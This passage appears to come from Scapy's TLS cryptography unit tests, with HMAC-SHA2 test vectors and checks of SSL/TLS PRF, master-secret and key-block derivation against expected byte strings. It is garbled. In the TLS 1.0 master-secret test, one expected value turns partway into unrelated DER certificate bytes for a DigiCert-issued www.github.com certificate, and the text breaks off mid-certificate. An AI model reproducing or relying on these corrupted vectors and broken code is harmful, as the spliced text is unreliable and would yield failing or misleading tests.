b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+ b'\xaa') Data = (b'\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x74\x65\x73'+ b'\x74\x20\x75\x73\x69\x6e\x67\x20\x61\x20\x6c\x61\x72'+ b'\x67\x65\x72\x20\x74\x68\x61\x6e\x20\x62\x6c\x6f\x63'+ b'\x6b\x2d\x73\x69\x7a\x65\x20\x6b\x65\x79\x20\x61\x6e'+ b'\x64\x20\x61\x20\x6c\x61\x72\x67\x65\x72\x20\x74\x68'+ b'\x61\x6e\x20\x62\x6c\x6f\x63\x6b\x2d\x73\x69\x7a\x65'+ b'\x20\x64\x61\x74\x61\x2e\x20\x54\x68\x65\x20\x6b\x65'+ b'\x79\x20\x6e\x65\x65\x64\x73\x20\x74\x6f\x20\x62\x65'+ b'\x20\x68\x61\x73\x68\x65\x64\x20\x62\x65\x66\x6f\x72'+ b'\x65\x20\x62\x65\x69\x6e\x67\x20\x75\x73\x65\x64\x20'+ b'\x62\x79\x20\x74\x68\x65\x20\x48\x4d\x41\x43\x20\x61'+ b'\x6c\x67\x6f\x72\x69\x74\x68\x6d\x2e') HMAC_SHA_224 = (b'\x3a\x85\x41\x66\xac\x5d\x9f\x02\x3f\x54\xd5\x17\xd0'+ b'\xb3\x9d\xbd\x94\x67\x70\xdb\x9c\x2b\x95\xc9\xf6\xf5'+ b'\x65\xd1') HMAC_SHA_256 = (b'\x9b\x09\xff\xa7\x1b\x94\x2f\xcb\x27\x63\x5f\xbc\xd5'+ b'\xb0\xe9\x44\xbf\xdc\x63\x64\x4f\x07\x13\x93\x8a\x7f'+ b'\x51\x53\x5c\x3a\x35\xe2') HMAC_SHA_384 = (b'\x66\x17\x17\x8e\x94\x1f\x02\x0d\x35\x1e\x2f\x25\x4e'+ b'\x8f\xd3\x2c\x60\x24\x20\xfe\xb0\xb8\xfb\x9a\xdc\xce'+ b'\xbb\x82\x46\x1e\x99\xc5\xa6\x78\xcc\x31\xe7\x99\x17'+ b'\x6d\x38\x60\xe6\x11\x0c\x46\x52\x3e') HMAC_SHA_512 = (b'\xe3\x7b\x6a\x77\x5d\xc8\x7d\xba\xa4\xdf\xa9\xf9\x6e'+ b'\x5e\x3f\xfd\xde\xbd\x71\xf8\x86\x72\x89\x86\x5d\xf5'+ b'\xa3\x2d\x20\xcd\xc9\x44\xb6\x02\x2c\xac\x3c\x49\x82'+ b'\xb1\x0d\x5e\xeb\x55\xc3\xe4\xde\x15\x13\x46\x76\xfb'+ b'\x6d\xe0\x44\x60\x65\xc9\x74\x40\xfa\x8c\x6a\x58') def _all_hmac_sha2_tests(): from scapy.layers.tls.crypto.h_mac import (Hmac_SHA224, Hmac_SHA256, Hmac_SHA384, Hmac_SHA512) res = True for t in [_hmac_test_case_1, _hmac_test_case_2, _hmac_test_case_3, _hmac_test_case_4, _hmac_test_case_5, _hmac_test_case_6, _hmac_test_case_7 ]: tmp = ((Hmac_SHA224(t.Key).digest(t.Data) == t.HMAC_SHA_224) and (Hmac_SHA256(t.Key).digest(t.Data) == t.HMAC_SHA_256) and (Hmac_SHA384(t.Key).digest(t.Data) == t.HMAC_SHA_384) and (Hmac_SHA512(t.Key).digest(t.Data) == t.HMAC_SHA_512)) res = res and tmp return res _all_hmac_sha2_tests() ############################################################################### ### PRF ### ############################################################################### + Test PRFs and associated methods = Crypto - _tls_P_MD5 behavior on test vectors borrowed from RFC 2202 (+ errata) from scapy.layers.tls.crypto.prf import _tls_P_MD5 t1 = _tls_P_MD5(b'\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b', "Hi There", 64) == b'8\x99\xc0\xb8!\xd7}RI\xb2\xbb\x8e\xbe\xf8\x97Y\xcc\xffL\xae\xc3I\x8f\x7f .\x81\xe0\xce\x1a\x82\xbd\x19\xa0\x16\x10P}\xf0\xda\xdc\xa0>\xc4,\xa1\xcfS`\x85\xc5\x084+QN31b\xd7%L\x9d\xdc' t2 = _tls_P_MD5(b"Jefe", b"what do ya want for nothing?", 64) == b"\xec\x99'|,\xd5gj\x82\xb9\xa0\x12\xdb\x83\xd3\xa3\x93\x19\xa6N\x89g\x99\xc2!9\xd8\xcf\xc1WTi\xc4D \x19l\x03\xa8PCo\x10`-\x98\xd0\xe1\xbc\xefAJkx\x95\x0c\x08*\xd6C\x8fS\x0e\xd9" t3 = _tls_P_MD5(b'\xaa'*16,b'\xdd'*50, 64) == b'\xe5_\xe8.l\xee\xd8AP\xfc$$\xda\tX\x93O\xa7\xd2\xe2\xa2\xa9\x02\xa1\x07t\x19\xd1\xe3%\x80\x19\rV\x19\x0f\xfa\x01\xce\x0eJ\x7fN\xdf\xed\xb5lS\x06\xb5|\x96\xa6\x1cc)h\x88\x8d\x0c@\xfdX\xaa' t4 = _tls_P_MD5(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19', b'\xcd'*50, 64) == b'\x8e\xa6\x1f\x82\x1e\xad\xbe4q\x93\xf4\x1c\xb7\x87\xb3\x15\x13F\x8b\xfd\x89m\x0e\xa6\xdc\xe9\xceZ\xcdOc>gN\xa4\x9cK\xf89\xfc6\t%T=j\xf0\x0f\xfdl\xbf\xfbj\xc4$zR"\xf4\xa4=\x18\x8b\x8d' t5 = _tls_P_MD5(b'\x0c'*16, b"Test With Truncation", 64) == b'\xb3>\xfaj\xc8\x95S\xcd\xdd\xea\x8b\xee7\xa5ru\xf4\x00\xd6\xed\xd5\x9aH\x1f,F\xb6\x93\r\xc3Z<"\x1e\xf7rx\xf0\xd7\x0f`zy\xe9\r\xb4\xf4}\xab2\xa5\xfe\xd0z@\x87\xc1c\x8b\xa0\xc8\xf5\x0bd' t6 = _tls_P_MD5(b'\xaa'*80, b"Test Using Larger Than Block-Size Key - Hash Key First", 64) == b';\xcf\xa4\xd8\xccH\xa0\xa4\xf1\x10d\xfa\xd4\xb1\x7f\xda\x80\xf6\xe2\xb9\xf4\xd3WtS\x1c\x83\xb4(\x94\xfe\xa7\xb9\xc1\xcd\xf9\xe7\xae\xbc\x0c\x0f\xbae\xc3\x9e\x11\xe2+\x11\xe9\xd4\x8fK&\x99\xfe[\xfa\x02\x85\xb4\xd8\x8e\xdf' t7 = _tls_P_MD5(b'\xaa'*80, b"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data", 64) == b'\x12\x06EI1\x81fP\x8dn\xa6WC\xfb\xbf\x1e\xefC[|\x0f\x05w\x14@\xfc\xa5 \xeak\xc9\xb9\x1c&\x80\x81.\x85#\xa9\x0ff\xea\xaa\x01"v\'\xd8X"\xbd\xa2\x86\xbd\xe3?6\xc7|\xc6WNO' t1 and t2 and t3 and t4 and t5 and t6 and t7 = Crypto - _tls_P_SHA1 behavior on test vectors borrowed from RFC 2202 (+ errata) from scapy.layers.tls.crypto.prf import _tls_P_SHA1 t1 = _tls_P_SHA1(b'\x0b'*20, b"Hi There", 80) == b'\x13\r\x11Q7(\xc1\xad\x7f>%m\xfc\x08\xb6\xb9$\xb1MG\xe4\x9c\xcdY\x0e\\T\xd0\x8f\x1a-O@`\xd2\x9eV_\xfd\xed\x1f\x93V\xfb\x18\xb6\xbclq3A\xa2\x87\xb1u\xfc\xb3RQ\x19;#\n(\xd2o%lB\x8b\x01\x89\x1c6m"\xc3\xe2\xa0\xe7' t2 = _tls_P_SHA1(b'Jefe', b"what do ya want for nothing?", 80) == b'\xba\xc4i\xf1\xa0\xc5eO\x844\xb6\xbd%L\xe1\xfe\xef\x08\x00\x1c^l\xaf\xbbN\x9f\xd8\xe5}\x87U\xc1\xd2&4zu\x9a1\xef\xd6M+\x1e\x84\xb4\xcb\xc9\xa7\n\x90f\x8aJ\xde\xd5\xa4\x8f,D\xe8.\x98\x9c)\xc7hlct\x1em(\xb73b[L\x96c' t3 = _tls_P_SHA1(b'\xaa'*20, b'\xdd'*50, 80) == b'Lm\x848}\xe8?\x88\x82\x85\xc3\xe6\xc9\x1f\x80Z\xf5D\xeeI\xa1m\x08h)\xea^\x047;\xcezY}\x16\xc6\xf10\x80:\xe2K\x87i{\xc7V\xad2\xda=\xf3d7\x047\xf7r\xf1&\x04\xb1\xd1\xf8\x88H\'\r\x08\xc4\x81\xa3\xa1Q\xa5\x90\xed\xef\xd8\x9c\x14\xdc\x80\xab){3\xde\x87\x8a\x1e"\x1e\xad54rM\x94\xe1\xb8' t7 = _tls_P_SHA1(b'\xaa'*80, b"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data", 80) == b'N/PKC\x1d\xb5[}gUk\xc7\xaf\xb4-\xef\x9e\xe63$E=\xfc\xc4\xd0l]EA\x84\xb0\x1e\x91]\xcc[\x0e-\xec\xd5\x90\x19,\xc6\xffn\xf8\xbe1Ck\xe6\x9cF*\x8c"_\x05\x14%h\x98\xa1\xc2\xf1bCt\xd4S\xc1:{\x96\xa4\x14c ' t1 and t2 and t3 and t4 and t5 and t6 and t7 = Crypto - _tls_PRF behavior on test vectors borrowed from RFC 2202 (+ errata) from scapy.layers.tls.crypto.prf import _tls_PRF t1 = _tls_PRF(b'\x0b'*20, b"Test Label XXXX", b"Hi There", 80) == b'E\xcc\xeb\x12\x0b<\xbfh\x1f\xc3\xd3%J\x85\xdeQ\t\xbc[\xcd.\xbe\x170\xf2\xebm\xe6g\x05x\xad\x86V\x0b\xb3\xb7\xe5i\x7fh}T\xe5$\xe4\xba\xa0\xc6\xf0\xf1\xb1\xe1\x8a\xf5\xcc\x9ab\x1c\xc9\x10\x82\x93\x82Q\xd2\x80\xf0\xf8\x0f\x03\xe2\xbe\xc3\x94T\x05\xben\x9e' t2 = _tls_PRF(b'Jefe', b"Test Label YYYYYYY", b"what do ya want for nothing?", 80) == b'n\xbet\x06\x82\x87\xcd\xea\xd9\x8b\xf8J\x17\x07\x84\xbc\xf3\x07\x9a\x99\n\xa6,\x97\xe6CRO\x7f\x0e[,\xa9\x83\xe6\xce?6\x12x\xc8Q\x00kO\x06s\xc5\xd7\xda\x1fd_\xe8\xad\xd4\xea\xfe\xd8\xc8 \x92e\x80\x8a\xafxF\xd6-/\x14\x94\x05a\x94\x0b\x1d\xf83' t3 = _tls_PRF(b'\xaa'*20, b"Test Label ZZ", b'\xdd'*50, 80) == b"Ad\xe2B\xa0\xb0+G#\x0f%\x19\xae\xdd\xb1d\xa0\x99\x15\x98\xa43c?\xaa\xd1\xc0\xf7\xc39V\xcb\x9b}\x95T\xd9\xde \xecr{/\xfb\x018\xeeR \x18Awi\x86=\xb4rg\x13\\\xaf<\x17\xd3_\xc5'U[\xa5\x83\xfa<\xa6\xc9\xdd\x85l\x1a\xdb" t4 = _tls_PRF(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19', b"Test Label UUUUUUUUUUUUUUU", b'\xcd'*50, 80) == b'<\xf0\xe9\xaa\x95w\t\xa7\xb0!w\xf1EoC\x8fJ\x1f\xec\x80.\x89X\xe3O4Vl\xd1\xb7]\xa1\xb9o\xdf/&!\xb8n\xeb\x04"\xeftxs 6E+\xf1\xb3\xb6/vd\xd1h\xa3\x80>\x83Y\xbd]\xda\xab\xb8\xd8\x01\xc5b3K\xe7\x08\r\x12\x14' t5 = _tls_PRF(b'\x0c'*20, b"Test Label KKKKKKKKK", b"Test With Truncation", 80) == b"gq\xa5\xc4\xf5\x86z.\x03\n\xa3\x85\x87\xbc\xabm\xf1\xd2\x06\xf6\xbc\xc8\xab\xf0\xee\xd2>e'!\xd3zW\x81\x10|^(\x8d~\xa5s&p\xef]\rDa\x113\xa6z\x9f\xf2\xe2_}\xd8.u\xbe\xb1\x7fx\xe0r~\xdc\xa2\x0f\xcd\xcd\x1d\x81\x1a`#\xc6O" t6 = _tls_PRF(b'\xaa'*80, b"Test Label PPPPPPPPP", b"Test Using Larger Than Block-Size Key - Hash Key First", 80) == b'\x994^fx\x17\xbaaj\xc0"\xd1g\xbfh#uE\xee\xd8\xf1,\xab\xe7w\xfa\xc8\x0c\xf9\xcd\xbb\xbb\xa71U\xbe\xeb@\x90\xc2\x04\x93\xa5\xcf\x8e\xda\xbb\x93n\x99^\xa2{\x8b{\x18\xd7\xf7e\x8a~\xfbA\xdd\xc3\xd9\x9b\x1c\x82$\xf5YX{\xaa\xb4\xf2\x04\xb3%' t7 = _tls_PRF(b'\xaa'*80, b"Test Label MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", b"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data", 80) == b'\xd6N\x12S\x18]\x87\x19\xacD\x1b4\xc3"\xc2\xd9J\xb8\xee/\xb0?\xc2_\x10\xb2\x196\xdaXC\xe0Ft\xd3:a\xcd\xb8\xdd\x8a\xb6\xb1\xc6sx\xb8\x87\x8a\x93\xf8~\xad\xc7\xd1\xa7I=\xceVW\x0f\x9a\xcc-\x8cv^o\x12\xa4\xcd\x10\xb1\xb0\x1f\xdd\x94,\x03' t1 and t2 and t3 and t4 and t5 and t6 and t7 = Crypto - _ssl_PRF behavior on test vectors from scapy.layers.tls.crypto.prf import _ssl_PRF t1 = _ssl_PRF(b'\x0b'*20, b"Hi There", 80) == b'\x0fo\xbe9\x83>~Bc\xaea^\x86\xd2b\x94X\xfd9Be\xe799\xf2\x00\xfcS\xd6\x1c=\xe5\x7fin\x1e\xf9r\xc8\xe6k\x19K\x8a\x85SK\xe5\xb7;A\x19b\x86F3M\x8d=\xcf\x15\xeedo\xd3\xae\xa2\x95\x8e\x80\x13\xabG\x8d\x1c,\x8c\xab\xf7\xd4' t2 = _ssl_PRF(b'Jefe', b"what do ya want for nothing?", 80) == b'\x19\x9f\xb9{\x87.\xd0\xf5\xc4\t.\xb6#\xae\x95\xe0S~\x15\xce\xe6\xb7oe\xad\x127\xb8\xc2C?\r\x87\xa6\x7f\x86y\xfa\xae\xcf\x0e\xb9\x01\xa5B\x07\x9d\x95\xf1]\xdc\x1bCb&T\xa0\xb0\x8a3\xcf\\\xaf\xe8j/\xbdx\x13\\\x91\xc8\xdfZ\xde"R`K\xd6' t3 = _ssl_PRF(b'\xaa'*20, b'\xdd'*50, 80) == b'\xe3*\xce\xdc?k{\x10\x80\x8dt\x0e\xdaA\xf9}\x1d\x8e|\xc9Ux\x88\\\xf1a\xcfJ\xedi\xc1[C-\xf3\xa4\xcc\xf9\xce\xa3P\xe3\x9ai\x0b\xb7\xce\x8bar\x93\xc5\x93\x1a\x82\xc8{\x1c\xf2\x87\x9d\xe1\xf5\x9e\x0c\xf6\xa6\x91\xb9\x97\x17Y,\x11\x00\rs\xdd\xcf]' t4 = _ssl_PRF(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19', b'\xcd'*50, 80) == b"\x8c\x83!h\x1b\xf2\x96f\x04\x15\x80H\x88\xcb\x80\x03\xc0\xfc\x05\xe5q\x93]\xeb\t\xd4B\xbc\xa4{\xb9\xd8\xb6IF\xc2\x80\x87\x9e2*\x82\x0ef\xc8\xbbBi\xb15\x90\xd6MW\xebM\xd7\xf9u\xd5+\xa8\x81\x11'\x8c\x88]b\r,\xde\xd9d[t\t\x199\x0b" t5 = _ssl_PRF(b'\x0c'*20, b"Test With Truncation", 80) == b"\x85\xf5\xe8\xd2\xddW$\x14\xde\x84\x08@\xca\x86\x8bZn\x07\x87AKg\x18\xc3\x1a'\xc2\xb9\xdd\x17\xb5K1\xb9\x9a=\xe4\x1f/\xfe\xa6\x96\x10\x0c\x15@:z\xbf\x1dM\xa3\x90\x01\xb67\x07Z\xe0\xfe}U=\x81\xb2~\xc6\x1a\xcb\xe7\x9b\x90+\xa0\x86\xb2\x8b\xae\xc7\x9f" t6 = _ssl_PRF(b'\xaa'*80, b"Test Using Larger Than Block-Size Key - Hash Key First", 80) == b'\x99\x11\x92\x8dw\xf1\xab\xdfr\x96S\xf5\xc1\x96\xc0\x16W*=\xa49\xd0\xf0\xf15\x91le\xda\x16\xfe8\x834kC3\x1b\xdf\xfc\xd8\x82\xe1\x9c\xfe9(4\xf9\x9c\x12\xc5~\xd1\xdc\xf3\xe5\x91\xbd\xbb\xb5$\x1c\xe4fs\xf2\xedM\xb7pO\x17\xdf\x01K\xf8\xed2-' t7 = _ssl_PRF(b'\xaa'*80, b"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data", 80) == b"\x8esl|C\x81\x80vv\xe1\x89H\xc9'oC\x1b\xbe\xc3\xbbE\x04)\xed\x1c\x84\xa9)\x08\xf5\xeb-\x93\xe9\x0f}\xeb[\xc4w\xd53y$\x07\xdc\x0f\\\xfc\xb2\x05r+\x13\xd8\xc3\xe7Lsz\xa1\x03\x93\xdd-\xf9l\xb7\xe6\xb3\x7fM\xfa\x90\xadeo\xcer*" t1 and t2 and t3 and t4 and t5 and t6 and t7 = Crypto - _tls12_*_PRF behavior, using SHA-256, SHA-384 and SHA-512 # https://www.ietf.org/mail-archive/web/tls/current/msg03416.html from scapy.layers.tls.crypto.prf import PRF class _prf_tls12_sha256_test: h= "SHA256" k= b"\x9b\xbe\x43\x6b\xa9\x40\xf0\x17\xb1\x76\x52\x84\x9a\x71\xdb\x35" s= b"\xa0\xba\x9f\x93\x6c\xda\x31\x18\x27\xa6\xf7\x96\xff\xd5\x19\x8c" o=(b"\xe3\xf2\x29\xba\x72\x7b\xe1\x7b\x8d\x12\x26\x20\x55\x7c\xd4\x53" + b"\xc2\xaa\xb2\x1d\x07\xc3\xd4\x95\x32\x9b\x52\xd4\xe6\x1e\xdb\x5a") class _prf_tls12_sha384_test: h= "SHA384" k= b"\xb8\x0b\x73\x3d\x6c\xee\xfc\xdc\x71\x56\x6e\xa4\x8e\x55\x67\xdf" s= b"\xcd\x66\x5c\xf6\xa8\x44\x7d\xd6\xff\x8b\x27\x55\x5e\xdb\x74\x65" o=(b"\x7b\x0c\x18\xe9\xce\xd4\x10\xed\x18\x04\xf2\xcf\xa3\x4a\x33\x6a" + b"\x1c\x14\xdf\xfb\x49\x00\xbb\x5f\xd7\x94\x21\x07\xe8\x1c\x83\xcd") class _prf_tls12_sha512_test: h= "SHA512" k= b"\xb0\x32\x35\x23\xc1\x85\x35\x99\x58\x4d\x88\x56\x8b\xbb\x05\xeb" s= b"\xd4\x64\x0e\x12\xe4\xbc\xdb\xfb\x43\x7f\x03\xe6\xae\x41\x8e\xe5" o=(b"\x12\x61\xf5\x88\xc7\x98\xc5\xc2\x01\xff\x03\x6e\x7a\x9c\xb5\xed" + b"\xcd\x7f\xe3\xf9\x4c\x66\x9a\x12\x2a\x46\x38\xd7\xd5\x08\xb2\x83") def _all_prf_tls12_tests(): res = True for t in [ _prf_tls12_sha256_test, _prf_tls12_sha384_test, _prf_tls12_sha512_test ]: p = PRF(tls_version=0x303, hash_name=t.h) tmp = p.prf(t.k, b"test label", t.s, 32) == t.o res = res and tmp return res _all_prf_tls12_tests() = Crypto - compute_master_secret() in SSL mode f = PRF(tls_version=0x300) t1 = f.compute_master_secret(b"A"*48, b"B"*32, b"C"*32) == b'\xe8\xb5O68e\x8c\x1e\xd0hD!\xc1Zk\x9e\xc7x3\xfc".\xf9\x17\xd5B\xfc\xef\x8d\xed\x9fP\xcer\x83|6\x02\xe0\x86\xda\xab-G\x8c\xa9H5' t2 = f.compute_master_secret(b"A"*48, b"C"*32, b"B"*32) == b'Ts/q\x83\x88\x10\x9c1Y\xff\xf3vo\xe3\x8aM\x9b\xa3k[J\xeeWXs\xcfTe\x19\xc6\xb1\x0ebj1}\x0c\xca\x97=|\x88W\xd8q\xfb|' t3 = f.compute_master_secret(b"C"*48, b"A"*32, b"B"*32) == b'Q\xde\x06L\xdb\xe9\x9dC\x19\x8a:m@\xce\xbf\xc0\n\xd8\xd4H!#\x06\xad\x929\x85\xc9@\x1f\xb5\xe2)^{c\x94\x06&\xad\xb56\x13^\xd6\xa5\x19\xe7' t4 = f.compute_master_secret(b"D"*48, b"B"*32, b"A"*32) == b'\xbe\x9a\xc8)\xb5{.H1\x8382\xc2\xdff\xdf@\xda\xde\x88\xe1\xf3\xad9\xcc\x14\xb1\x7f\x90\x00;B)\x8c\xdb\xdbH\xfe=%^\xe9\x83\x0eV\x86\x83\x8d' t1 and t2 and t3 and t4 = Crypto - derive_key_block() in SSL mode t1 = f.derive_key_block(b"A"*48, b"B"*32, b"C"*32, 72) == b'\xe8\xb5O68e\x8c\x1e\xd0hD!\xc1Zk\x9e\xc7x3\xfc".\xf9\x17\xd5B\xfc\xef\x8d\xed\x9fP\xcer\x83|6\x02\xe0\x86\xda\xab-G\x8c\xa9H5\xdf\x14\xa9\xcfV\r\xea}\x98\x04\x8dK,\xb6\xf7;\xaa\xa8\xa5\xad\x7f\x0fCY' t2 = f.derive_key_block(b"A"*48, b"C"*32, b"B"*32, 72) == b'Ts/q\x83\x88\x10\x9c1Y\xff\xf3vo\xe3\x8aM\x9b\xa3k[J\xeeWXs\xcfTe\x19\xc6\xb1\x0ebj1}\x0c\xca\x97=|\x88W\xd8q\xfb|\x17\x99\nH;\xec\xd2\x15\xabd\xed\xc3\xe0p\xd8\x1eS\xb5\xf4*8\xceE^' t3 = f.derive_key_block(b"C"*48, b"A"*32, b"B"*32, 72) == b'Q\xde\x06L\xdb\xe9\x9dC\x19\x8a:m@\xce\xbf\xc0\n\xd8\xd4H!#\x06\xad\x929\x85\xc9@\x1f\xb5\xe2)^{c\x94\x06&\xad\xb56\x13^\xd6\xa5\x19\xe7\xed\xd6\x92\xe0O\x0e\xbf\xc6\x97\x9f~\x95\xcf\xb0\xe7a\x1d\xbc]\xf4&Z\x81J' t4 = f.derive_key_block(b"D"*48, b"B"*32, b"A"*32, 72) == b'\xbe\x9a\xc8)\xb5{.H1\x8382\xc2\xdff\xdf@\xda\xde\x88\xe1\xf3\xad9\xcc\x14\xb1\x7f\x90\x00;B)\x8c\xdb\xdbH\xfe=%^\xe9\x83\x0eV\x86\x83\x8d\xeal\x8ea\x08\x9d\xb3\xf3\xf4\xa6[\'j\xda\rT"\x10\xa5Z\n\xc0r\xf3' t1 and t2 and t3 and t4 = Crypto - compute_master_secret() in TLS 1.0 mode from scapy.layers.tls.crypto.prf import PRF f = PRF(tls_version=0x301) t1 = f.compute_master_secret(b"A"*48, b"B"*32, b"C"*32) == b"k\\[e\x11\xab\xfe6\trN\x9e\x8d\xb09{\x17\x8d\x9f\xc6_' G\x05\x08}\xf7Q\x8e\xcb\xff\x00\xfc7\xd0\xf0z\xea\x8b\x98%\x90\x89sd\x98\xa1" t2 = f.compute_master_secret(b"A"*48, b"C"*32, b"B"*32) == b'k\xd2\xf7\x1aqt\xa4~\x9bqf\x0f:\xc4%\x9a\x07\x17\x14\xf4\xdf&)*\x1c\x9c8\x8em\xe1\x13\x17\xa7\xd2\x051Qd0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000p1\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x150\x13\x06\x03U\x04\n\x13\x0cDigiCert Inc1\x190\x17\x06\x03U\x04\x0b\x13\x10www.digicert.com1/0-\x06\x03U\x04\x03\x13&DigiCert SHA2 High Assurance Server CA0\x1e\x17\r160120000000Z\x17\r170406120000Z0j1\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x130\x11\x06\x03U\x04\x08\x13\nCalifornia1\x160\x14\x06\x03U\x04\x07\x13\rSan Francisco1\x150\x13\x06\x03U\x04\n\x13\x0cFastly, Inc.1\x170\x15\x06\x03U\x04\x03\x13\x0ewww.github.com0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xfb\xd5\x94\n\n\xe0P\xdc\x0f\xfc\x90\xb7qG\x9f,\x05\xde\x0e\x9a\xbc*\x8f\xd4\xf2\x9f\x08F\xf9\xf2\xd1\x18\xb4#\xa5*\xd2\xdf\x91?\xf9\xc5\xd0\xb2@\xbd\xd6\xbc@v.\x8d\xd8\x1e\r7\x8fz\x90W\xef\xe3\xa2\xc0\x11a\x03F\x0e\xfa\xb37\x0bf|!\x16\x8d\xfe/^.Y\xfec\':\xf3\xeds\xf8Mt\xb3Q\x17u\x9a\xed\x0ck\xcd\xe8\xc1\xea\xca\x01\xacu\xf9\x17)\xf0KP\x9dAdHl\xf6\xc0g}\xc8\xea\xdeHy\x81\x97A\x02\xb7F\xf6^M\xa5\xd9\x90\x86\xd7\x1ehQ\xac>%\xae\'\x11\xb1G4\xb8\x8b\xdeoyA\xd6\x92\x13)\x11\x80\xc4\x10\x17\\\x0clj\x02\xbb\xd0\n\xfc\xd2\x96x\x1d\xb6\xd4\x02\x7f\x1f\x0eR@Sop@\xda\x89)O\x0c\t~\xa3\xec\xc5W\xad\x03\xaa\x91\xedC\\\xf9\xf5[\xe8\xa1\xf0\xbem\x1b\xce-\xabC|p\xdc?\xec\xc9\x11\xf0t\xc9)\xa1P\xd0<)8\xdc\x7fV\xb9\xf8\x1f\x04\xa4^\x9f\xce\xdd\x17\x02\x03\x01\x00\x01\xa3\x82\x02I0\x82\x02E0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;0\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14d\xbfD\xb3F\t\x9b\xcfZ\x1dqI\xa2\x04r\x8b\x884\x84#0{\x06\x03U\x1d\x11\x04t0r\x82\x0ewww.github.com\x82\x0c*.github.com\x82\ngithub.com\x82\x0b*.github.io\x82\tgithub.io\x82\x17*.githubusercontent.com\x82\x15githubusercontent.com0\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x05\xa00\x1d\x06\x03U\x1d%\x04\x160\x14\x06\x08+\x06\x01\x05\x05\x07\x03\x01\x06\x08+\x06\x01\x05\x05\x07\x03\x020u\x06\x03U\x1d\x1f\x04n0l04\xa02\xa00\x86.http://crl3.digicert.com/sha2-ha-server-g5.crl04\xa02\xa00\x86.http://crl4.digicert.com/sha2-ha-server-g5.crl0L\x06\x03U\x1d \x04E0C07\x06\t`\x86H\x01\x86\xfdl\x01\x010*0(\x06\x08+\x06\x01\x05\x05\x07\x02\x01\x16\x1chttps://www.digicert.com/CPS0\x08\x06\x06g\x81\x0c\x01\x02\x020\x81\x83\x06\x08+\x06\x01\x05\x05\x07\x01\x01\x04w0u0$\x06\x08+\x06\x01\x05\x05\x070\x01\x86\x18http://ocsp.digicert.com0M\x06\x08+\x06\x01\x05\x05\x070\x02\x86Ahttp://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt0\x0c\x06\x03U\x1d\x13\x01\x01\xff\x04\x020\x000\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00O\x16\xd1t\xf8>\xa3\x8f~\xf7\xaf\xcf\xfa\xb6\xdd\xa7\x88\x9e\xf8!\xad|(\x14\xb9\xb4\xffg\xd0\xb9\xe2O\x81}\x03\xb4\x9d\xbcU\x80$\x8c\xe5fP\xb8\xb8(\xd9\x0f\xb4\x95\xccb\xb2\x87|\xcf\x16^SH\xf9\xc2\xf8\x90 \xdc\x0e\x96\x7f\xe27\xcfA\xc7uf\r\x1c\xa7M\xee\x02\xaa\x1b\x00\xc0\xea\x0e\xd4Df\x08\t\xac\x00\x90pc\xfa\xcd\xaf\x89\x8a\xdbj|z\xb0k\xa8\xc5\xb4\x9d\x85\xd8S\x93E\xcar>\xa4\xd4\xe3\xa28J\x0f\x82\x08\xf0\xf3U\xf0m\xb21l\x189\xbf\xee\xe3\xe5\x8f\xcd@\x07\x0b\xd0\xe9e\xda\xd6LA\xff[\xafB\xaf\xf2\xb1F\xa1\xacX\xfc)\x80\xcb\xf6Z\xa6\xaf\xf26\x93\xdf\x92q\xa95\xe3:XP\xab::|\xd9\xf7y\x83\x9e\t\xfe\x0f\x90,Y+\x07$Z<\xb5\xd2\xa0\xdaE\xb8\xe1\xc0\x03\x07\x00h\xf6L\xfa\xe2v[\xce\x8f\xfe\xd0\xcb%\xf9\x9b\xcb\xa9\xffU\x12\xf3=_En2\xa0$\x8e\xb7\xa5vo\x0b\x87\xe9\x00\x04\xb50\x82\x04\xb10\x82\x03\x99\xa0\x03\x02\x01\x02\x02\x10\x04\xe1\xe7\xa4\xdc\\\xf2\xf3m\xc0+B\xb8]\x15\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000l1\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x150\x13\x06\x03U\x04\n\x13\x0cDigiCert Inc1\x190\x17\x06\x03U\x04\x0b\x13\x10www.digicert.com1+0)\x06\x03U\x04\x03\x13"DigiCert High Assurance EV Root CA0\x1e\x17\r131022120000Z\x17\r281022120000Z0p1\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x150\x13\x06\x03U\x04\n\x13\x0cDigiCert 